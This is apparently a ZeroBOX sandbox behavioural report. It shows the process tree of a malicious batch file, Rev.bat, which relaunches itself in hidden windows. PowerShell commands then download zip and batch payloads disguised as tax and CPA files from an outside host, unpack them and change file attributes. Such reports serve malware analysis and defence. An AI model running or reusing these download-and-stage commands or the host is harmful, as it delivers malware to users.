| ZeroBOX

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "LCtKcmsKEZFv" C:\Users\test22\AppData\Local\Temp\Rev.bat
2548
- cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\Rev.bat
  2620
  - powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\test22\AppData\Local\Temp\Rev.bat\" hidden' -WindowStyle Hidden"
    2708
    - cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\test22\AppData\Local\Temp\Rev.bat" hidden
      2824
      - powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://collegefordlincoln-gmbh.xyz:34670/TaxPrep.zip' -OutFile 'C:\Users\test22\Downloads\CPAdocxs.zip' } catch { exit 1 }"
        2904
      - powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://collegefordlincoln-gmbh.xyz:34670/CPA.bat' -OutFile 'C:\Users\test22\Downloads\CPA.bat' }"
        2980
      - powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://collegefordlincoln-gmbh.xyz:34670/CalCPA.zip' -OutFile 'C:\Users\test22\Downloads\CalCPA.zip' }"
        3068
      - powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\test22\Downloads\CalCPA.zip' -DestinationPath 'C:\Users\test22\Downloads' -Force }"
        2120
      - attrib.exe attrib -h -s "C:\Users\test22\Downloads\OneDrive" /s /d
        2460
      - attrib.exe attrib -h -s "C:\Users\test22\AppData\Local\Temp\GOT" /s /d
        2488
      - attrib.exe attrib +h "C:\Users\test22\Downloads\Support"
        2584

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents